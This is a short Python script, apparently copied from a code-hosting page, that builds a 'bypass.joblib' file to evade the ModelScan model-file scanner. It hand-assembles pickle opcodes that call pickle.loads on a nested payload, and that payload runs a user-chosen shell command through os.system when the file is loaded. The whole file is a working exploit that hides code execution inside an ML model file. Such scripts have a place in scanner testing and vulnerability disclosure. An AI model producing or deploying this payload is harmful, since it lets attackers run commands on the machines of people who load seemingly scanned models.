| #!/usr/bin/env python3 | |
| """Generate nested pickle bypass for ModelScan. | |
| Usage: python3 generate_bypass.py [command] | |
| """ | |
| import struct, pickle, sys | |
| CMD = sys.argv[1] if len(sys.argv) > 1 else "id" | |
| class InnerRCE: | |
| def __reduce__(self): | |
| import os; return (os.system, (CMD,)) | |
| inner = pickle.dumps(InnerRCE(), protocol=2) | |
| p = bytearray() | |
| p += b'\x80\x02' | |
| p += b'\x8c\timportlib' + b'q\x00' | |
| p += b'\x8c\rimport_module' + b'q\x01' | |
| p += b'\x93' + b'q\x02' | |
| p += b'\x8c\x06pickle' + b'q\x03' | |
| p += b'\x85' + b'q\x04' | |
| p += b'\x52' + b'q\x05' | |
| p += b'\x8c\x08operator' + b'q\x06' | |
| p += b'\x8c\x0cmethodcaller' + b'q\x07' | |
| p += b'\x93' + b'q\x08' | |
| p += b'\x8c\x05loads' + b'q\t' | |
| p += b'\x42' | |
| p += struct.pack('<I', len(inner)) | |
| p += inner | |
| p += b'q\n' | |
| p += b'\x86' + b'q\x0b' | |
| p += b'\x52' + b'q\x0c' | |
| p += b'h\x0c' + b'h\x05' + b'\x85' + b'\x52' + b'.' | |
| with open('bypass.joblib', 'wb') as f: | |
| f.write(bytes(p)) | |
| print(f"Generated bypass.joblib ({len(p)} bytes)") | |